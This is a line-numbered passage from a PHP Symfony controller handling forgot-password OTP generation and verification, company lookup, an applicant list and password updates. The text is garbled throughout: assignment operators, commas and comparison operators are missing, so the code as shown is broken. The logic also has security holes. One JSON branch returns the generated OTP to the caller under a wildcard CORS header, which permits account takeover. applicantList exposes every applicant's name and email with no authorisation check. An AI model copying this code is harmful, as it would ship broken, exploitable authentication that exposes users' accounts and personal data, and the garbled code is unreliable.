  9081.                 $response = new JsonResponse(array(
  9082.                         'templateData' => $twigData,
  9083.                         'message' => $message,
  9084. //                        "otp"=>'',
  9085.                         "otp" => $otp,
  9086.                         "otpExpireTs" => $otpExpireTs,
  9087.                         'actionData' => $email_twig_data,
  9088.                         'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  9089.                     )
  9090.                 );
  9091.                 $response->headers->set('Access-Control-Allow-Origin''*');
  9092.                 return $response;
  9093.             } else if ($email_twig_data['success'] == true) {
  9094.                 $encData = array(
  9095.                     "userType" => $userType,
  9096.                     "otp" => '',
  9097. //                "otp"=>$otp,
  9098.                     "otpExpireTs" => $otpExpireTs,
  9099.                     "otpActionId" => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  9100.                     "userCategory" => $userCategory,
  9101.                     "userId" => $userData['id'],
  9102.                     "systemType" => $systemType,
  9103.                     "email" => $email_address,
  9104.                 );
  9105.                 $encDataStr $this->get('url_encryptor')->encrypt(json_encode($encData));
  9106.                 $url $this->generateUrl(
  9107.                     'verify_otp'
  9108.                 );
  9109.                 return $this->redirect($url "/" $encDataStr);
  9110. //                return $this->redirectToRoute("verify_otp_forgot_password",[
  9111. ////                    'encData'
  9112. ////                'id' => $isApplicantExist->getApplicantId(),
  9113. ////                'oAuthData' => $oAuthData,
  9114. ////                'refRoute' => $refRoute,
  9115. //                ]);
  9116.             }
  9117.         }
  9118.         if ($systemType == '_ERP_') {
  9119.             if ($userCategory == '_APPLICANT_') {
  9120.                 $userType UserConstants::USER_TYPE_APPLICANT;
  9121.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9122.                 $twigData = [
  9123.                     'page_title' => 'Find Account',
  9124.                     'encryptedData' => $encryptedData,
  9125.                     'message' => $message,
  9126.                     'systemType' => $systemType,
  9127.                     'ownServerId' => $ownServerId,
  9128.                     'userType' => $userType,
  9129.                     'errorField' => $errorField,
  9130.                 ];
  9131.             } else {
  9132.                 $userType UserConstants::USER_TYPE_GENERAL;
  9133.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9134.                 $twigData = [
  9135.                     'page_title' => 'Find Account',
  9136.                     'encryptedData' => $encryptedData,
  9137.                     'systemType' => $systemType,
  9138.                     'ownServerId' => $ownServerId,
  9139.                     'message' => $message,
  9140.                     'userType' => $userType,
  9141.                     'errorField' => $errorField,
  9142.                 ];
  9143.             }
  9144.         } else if ($systemType == '_CENTRAL_') {
  9145.             $userType UserConstants::USER_TYPE_APPLICANT;
  9146.             $twig_file '@HoneybeeWeb/pages/find_account.html.twig';
  9147.             $twigData = [
  9148.                 'page_title' => 'Find Account',
  9149.                 'encryptedData' => $encryptedData,
  9150.                 'systemType' => $systemType,
  9151.                 'ownServerId' => $ownServerId,
  9152.                 "otp" => '',
  9153. //                "otp"=>$otp,
  9154.                 "otpExpireTs" => $otpExpireTs,
  9155.                 'message' => $message,
  9156.                 'userType' => $userType,
  9157.                 'errorField' => $errorField,
  9158.             ];
  9159.         } else if ($systemType == '_BUDDYBEE_') {
  9160.             $userType UserConstants::USER_TYPE_APPLICANT;
  9161.             $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9162.             $twigData = [
  9163.                 'page_title' => 'Find Account',
  9164.                 'encryptedData' => $encryptedData,
  9165.                 "otp" => '',
  9166.                 'systemType' => $systemType,
  9167.                 'ownServerId' => $ownServerId,
  9168. //                "otp"=>$otp,
  9169.                 "otpExpireTs" => $otpExpireTs,
  9170.                 'message' => $message,
  9171.                 'userType' => $userType,
  9172.                 'errorField' => $errorField,
  9173.             ];
  9174.         }
  9175.         if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  9176.             $response = new JsonResponse(array(
  9177.                     'templateData' => $twigData,
  9178.                     'message' => $message,
  9179.                     "otp" => '',
  9180. //                "otp"=>$otp,
  9181.                     "otpExpireTs" => $otpExpireTs,
  9182.                     'actionData' => $email_twig_data,
  9183.                     'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  9184.                 )
  9185.             );
  9186.             $response->headers->set('Access-Control-Allow-Origin''*');
  9187.             return $response;
  9188.         } else {
  9189.             return $this->render(
  9190.                 $twig_file,
  9191.                 $twigData
  9192.             );
  9193.         }
  9194.     }
  9195.     public function VerifyOtpAction(Request $request$encData ''$remoteVerify 0)
  9196.     {
  9197. //        $userCategory=$request->request->has('userCategory');
  9198.         $encryptedData = [];
  9199.         $errorField '';
  9200.         $message '';
  9201.         $userType '';
  9202.         $otpExpireSecond 180;
  9203.         $otpExpireTs 0;
  9204.         if ($encData != '')
  9205.             $encryptedData json_decode($this->get('url_encryptor')->decrypt($encData), true);
  9206. //        $encryptedData = $this->get('url_encryptor')->decrypt($encData);
  9207.         $otp = isset($encryptedData['otp']) ? $encryptedData['otp'] : 0;
  9208.         $email = isset($encryptedData['email']) ? $encryptedData['email'] : 0;
  9209.         $otpExpireTs = isset($encryptedData['otpExpireTs']) ? $encryptedData['otpExpireTs'] : 0;
  9210.         $otpActionId = isset($encryptedData['otpActionId']) ? $encryptedData['otpActionId'] : 0;
  9211.         $userId = isset($encryptedData['userId']) ? $encryptedData['userId'] : 0;
  9212.         $userCategory = isset($encryptedData['otp']) ? $encryptedData['userCategory'] : '_BUDDYBEE_USER_';
  9213.         $em $this->getDoctrine()->getManager('company_group');
  9214.         $em_goc $this->getDoctrine()->getManager('company_group');
  9215.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  9216.         $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9217.         $twigData = [];
  9218.         $email_twig_file '@Application/pages/email/find_account_buddybee.html.twig';
  9219.         $email_twig_data = [];
  9220.         $userData = [];
  9221.         if ($request->isMethod('POST') || $otp != '') {
  9222.             $otp $request->request->get('otp'$otp);
  9223.             $otpActionId $request->request->get('otpActionId'$otpActionId);
  9224.             $userId $request->request->get('userId'$userId);
  9225.             $userCategory $request->request->get('userCategory'$userCategory);
  9226.             $email_address $request->request->get('email'$email);
  9227.             if ($systemType == '_ERP_') {
  9228.                 if ($userCategory == '_APPLICANT_') {
  9229.                     $userType UserConstants::USER_TYPE_APPLICANT;
  9230.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  9231.                         array(
  9232.                             'email' => $email_address
  9233.                         )
  9234.                     );
  9235.                     if ($userObj) {
  9236.                     } else {
  9237.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  9238.                             array(
  9239.                                 'oAuthEmail' => $email_address
  9240.                             )
  9241.                         );
  9242.                         if ($userObj) {
  9243.                         } else {
  9244.                             $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  9245.                                 array(
  9246.                                     'userName' => $email_address
  9247.                                 )
  9248.                             );
  9249.                         }
  9250.                     }
  9251.                     if ($userObj) {
  9252.                         $email_address $userObj->getEmail();
  9253.                         if ($email_address == null || $email_address == '')
  9254.                             $email_address $userObj->getOAuthEmail();
  9255.                     }
  9256. //                    triggerResetPassword:
  9257. //                    type: integer
  9258. //                          nullable: true
  9259.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  9260.                     $userObj->setOtp($otpData['otp']);
  9261.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  9262.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  9263.                     $em_goc->flush();
  9264.                     $userData = array(
  9265.                         'id' => $userObj->getApplicantId(),
  9266.                         'email' => $email_address,
  9267.                         'appId' => 0,
  9268. //                        'appId'=>$userObj->getUserAppId(),
  9269.                     );
  9270.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  9271.                     $email_twig_data = [
  9272.                         'page_title' => 'Find Account',
  9273.                         'encryptedData' => $encryptedData,
  9274.                         'message' => $message,
  9275.                         'userType' => $userType,
  9276.                         'errorField' => $errorField,
  9277.                         'otp' => $otpData['otp'],
  9278.                         'otpExpireSecond' => $otpExpireSecond,
  9279.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  9280.                         'otpExpireTs' => $otpData['expireTs'],
  9281.                         'systemType' => $systemType,
  9282.                         'userData' => $userData
  9283.                     ];
  9284.                     if ($userObj)
  9285.                         $email_twig_data['success'] = true;
  9286.                 } else {
  9287.                     $userType UserConstants::USER_TYPE_GENERAL;
  9288.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  9289.                     $email_twig_data = [
  9290.                         'page_title' => 'Find Account',
  9291.                         'encryptedData' => $encryptedData,
  9292.                         'message' => $message,
  9293.                         'userType' => $userType,
  9294.                         'errorField' => $errorField,
  9295.                     ];
  9296.                 }
  9297.             } else if ($systemType == '_BUDDYBEE_') {
  9298.                 $userType UserConstants::USER_TYPE_APPLICANT;
  9299.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  9300.                     array(
  9301.                         'applicantId' => $userId
  9302.                     )
  9303.                 );
  9304.                 if ($userObj) {
  9305.                     $userOtp $userObj->getOtp();
  9306.                     $userOtpActionId $userObj->getOtpActionId();
  9307.                     $userOtpExpireTs $userObj->getOtpExpireTs();
  9308.                     $otpExpireTs $userObj->getOtpExpireTs();
  9309.                     $currentTime = new \DateTime();
  9310.                     $currentTimeTs $currentTime->format('U');
  9311.                     if ($userOtp != $otp) {
  9312.                         $message "Invalid OTP!";
  9313.                         $email_twig_data['success'] = false;
  9314.                     } else if ($userOtpActionId != $otpActionId) {
  9315.                         $message "Invalid OTP Action!";
  9316.                         $email_twig_data['success'] = false;
  9317.                     } else if ($currentTimeTs $userOtpExpireTs) {
  9318.                         $message "OTP Expired!";
  9319.                         $email_twig_data['success'] = false;
  9320.                     } else {
  9321.                         $userObj->setOtp(0);
  9322.                         $userObj->setOtpActionId(UserConstants::OTP_ACTION_NONE);
  9323.                         $userObj->setOtpExpireTs(0);
  9324.                         $userObj->setTriggerResetPassword(1);
  9325.                         $em_goc->flush();
  9326.                         $email_twig_data['success'] = true;
  9327.                         $message "";
  9328.                     }
  9329.                     $userData = array(
  9330.                         'id' => $userObj->getApplicantId(),
  9331.                         'email' => $email_address,
  9332.                         'appId' => 0,
  9333.                         'image' => $userObj->getImage(),
  9334.                         'firstName' => $userObj->getFirstname(),
  9335.                         'lastName' => $userObj->getLastname(),
  9336. //                        'appId'=>$userObj->getUserAppId(),
  9337.                     );
  9338.                     $email_twig_data['userData'] = $userData;
  9339.                 } else {
  9340.                     $message "Account not found!";
  9341.                     $email_twig_data['success'] = false;
  9342.                 }
  9343.             }
  9344.             if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  9345.                 $response = new JsonResponse(array(
  9346.                         'templateData' => $twigData,
  9347.                         'message' => $message,
  9348.                         'actionData' => $email_twig_data,
  9349.                         'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  9350.                     )
  9351.                 );
  9352.                 $response->headers->set('Access-Control-Allow-Origin''*');
  9353.                 return $response;
  9354.             } else if ($email_twig_data['success'] == true) {
  9355.                 $encData = array(
  9356.                     "userType" => $userType,
  9357.                     "otp" => '',
  9358.                     "otpExpireTs" => $otpExpireTs,
  9359.                     "otpActionId" => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  9360.                     "userCategory" => $userCategory,
  9361.                     "userId" => $userData['id'],
  9362.                     "systemType" => $systemType,
  9363.                 );
  9364.                 $encDataStr $this->get('url_encryptor')->encrypt(json_encode($encData));
  9365.                 $url $this->generateUrl(
  9366.                     'reset_password_new_password'
  9367.                 );
  9368.                 return $this->redirect($url "/" $encDataStr);
  9369. //                return $this->redirectToRoute("reset_password_new_password", [
  9370. ////                'id' => $isApplicantExist->getApplicantId(),
  9371. ////                'oAuthData' => $oAuthData,
  9372. ////                'refRoute' => $refRoute,
  9373. //                ]);
  9374.             }
  9375.         }
  9376.         if ($systemType == '_ERP_') {
  9377.             if ($userCategory == '_APPLICANT_') {
  9378.                 $userType UserConstants::USER_TYPE_APPLICANT;
  9379.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9380.                 $twigData = [
  9381.                     'page_title' => 'Find Account',
  9382.                     'encryptedData' => $encryptedData,
  9383.                     'message' => $message,
  9384.                     'userType' => $userType,
  9385.                     'errorField' => $errorField,
  9386.                 ];
  9387.             } else {
  9388.                 $userType UserConstants::USER_TYPE_GENERAL;
  9389.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9390.                 $twigData = [
  9391.                     'page_title' => 'Find Account',
  9392.                     'encryptedData' => $encryptedData,
  9393.                     'message' => $message,
  9394.                     'userType' => $userType,
  9395.                     'errorField' => $errorField,
  9396.                 ];
  9397.             }
  9398.         } else if ($systemType == '_BUDDYBEE_') {
  9399.             $userType UserConstants::USER_TYPE_APPLICANT;
  9400.             $twig_file '@Authentication/pages/views/verify_otp_buddybee.html.twig';
  9401.             $twigData = [
  9402.                 'page_title' => 'Verify Otp',
  9403.                 'encryptedData' => $encryptedData,
  9404.                 'message' => $message,
  9405.                 'email' => $email,
  9406.                 "otp" => '',
  9407. //                "otp"=>$otp,
  9408.                 "otpExpireTs" => $otpExpireTs,
  9409.                 'userType' => $userType,
  9410.                 'userCategory' => $userCategory,
  9411.                 'errorField' => $errorField,
  9412.             ];
  9413.         }
  9414.         if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  9415.             $response = new JsonResponse(array(
  9416.                     'templateData' => $twigData,
  9417.                     'message' => $message,
  9418.                     'actionData' => $email_twig_data,
  9419.                     'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  9420.                 )
  9421.             );
  9422.             $response->headers->set('Access-Control-Allow-Origin''*');
  9423.             return $response;
  9424.         } else {
  9425.             return $this->render(
  9426.                 $twig_file,
  9427.                 $twigData
  9428.             );
  9429.         }
  9430.     }
  9431. //    public function getCompanyByUser(Request $request){
  9432. //        $em = $this->getDoctrine()->getManager();
  9433. //        $em_goc = $this->getDoctrine()->getManager('company_group');
  9434. //        $session = $request->getSession();
  9435. //        $userId = $session->get(UserConstants::USER_ID);
  9436. //        $applicantDetails = $em->getRepository("ApplicationBundle\\Entity\\SysUser")->createQueryBuilder('U')
  9437. //            ->select('U.userAppIdList')
  9438. //            ->where('U.userId = :userId')
  9439. //            ->setParameter('userId', $userId)
  9440. //            ->getQuery()
  9441. //            ->getResult();
  9442. //
  9443. //        $compnayDetails = $em_goc->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")->createQueryBuilder('C')
  9444. //            ->select('C.name','C.appId')
  9445. //            ->getQuery()
  9446. //            ->getResult();
  9447. //
  9448. //        return new JsonResponse(
  9449. //            [
  9450. //                'applicantCompnayId' => $applicantDetails,
  9451. //                'copanyData' => $compnayDetails
  9452. //            ]
  9453. //        );
  9454.     public function getCompanyByUser(Request $request)
  9455.     {
  9456.         $em_goc $this->getDoctrine()->getManager('company_group');
  9457.         $em_goc->getConnection()->connect();
  9458.         $session $request->getSession();
  9459.         $appIds $session->get(UserConstants::USER_APP_ID_LIST);
  9460.         $userAppIdList json_decode($appIdstrue);
  9461.         if (!is_array($userAppIdList)) {
  9462.             return new JsonResponse([]);
  9463.         }
  9464.         $companyData $em_goc->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  9465.             ->createQueryBuilder('C')
  9466.             ->select('C.name, C.appId')
  9467.             ->where('C.appId IN (:appIds)')
  9468.             ->setParameter('appIds'$userAppIdList)
  9469.             ->getQuery()
  9470.             ->getResult();
  9471.         return new JsonResponse($companyData);
  9472.     }
  9473.     public function applicantList(Request $request)
  9474.     {
  9475.         $em_goc $this->getDoctrine()->getManager('company_group');
  9476.         $em_goc->getConnection()->connect();
  9477.         $applicantList $em_goc->getRepository("CompanyGroupBundle\\Entity\\EntityApplicantDetails")
  9478.             ->createQueryBuilder('C')
  9479.             ->select('C.applicantId, C.firstname, C.lastname,C.email')
  9480.             ->getQuery()
  9481.             ->getResult();
  9482.         return new JsonResponse($applicantList);
  9483.     }
  9484.     public function getUserType()
  9485.     {
  9486.         $userType HumanResourceConstant::$userTypeForApp;
  9487.         return new JsonResponse($userType);
  9488.     }
  9489.     private function appendCentralCustomerAccessList(array $accessListint $applicantId): array
  9490.     {
  9491.         if ($applicantId <= || !$this->container->has('app.organization_identity_service')) {
  9492.             return $accessList;
  9493.         }
  9494.         try {
  9495.             $customerAccessList $this->get('app.organization_identity_service')
  9496.                 ->buildCustomerAccessListForApplicant($applicantId$this->get('url_encryptor'));
  9497.         } catch (\Throwable $e) {
  9498.             return $accessList;
  9499.         }
  9500.         if (empty($customerAccessList)) {
  9501.             return $accessList;
  9502.         }
  9503.         $detailedClientApps = [];
  9504.         foreach ($customerAccessList as $item) {
  9505.             if (isset($item['appId'])) {
  9506.                 $detailedClientApps[(int)$item['appId']] = true;
  9507.             }
  9508.         }
  9509.         $filtered = [];
  9510.         foreach ($accessList as $item) {
  9511.             $isGenericClient = (int)($item['userType'] ?? 0) === UserConstants::USER_TYPE_CLIENT
  9512.                 && empty($item['erpClientId'])
  9513.                 && isset($detailedClientApps[(int)($item['appId'] ?? 0)]);
  9514.             if (!$isGenericClient) {
  9515.                 $filtered[] = $item;
  9516.             }
  9517.         }
  9518.         return array_merge($filtered$customerAccessList);
  9519.     }
  9520.     public function updatepasswordAction(Request $request)
  9521.     {
  9522.         $em_goc $this->getDoctrine()->getManager('company_group');
  9523.         $session $request->getSession();
  9524.         $userId $session->get(UserConstants::USER_ID);
  9525.         if ($request->isMethod('POST')) {
  9526.             $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->find($userId);
  9527.             $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($request->request->get('password'), $user->getSalt());
  9528.             $user->setPassword($encodedPassword);
  9529.             $em_goc->persist($user);
  9530.             $em_goc->flush();
  9531.             return new JsonResponse(['status' => 'success''message' => 'Password updated successfully.']);
  9532.         }
  9533.     }
  9534. }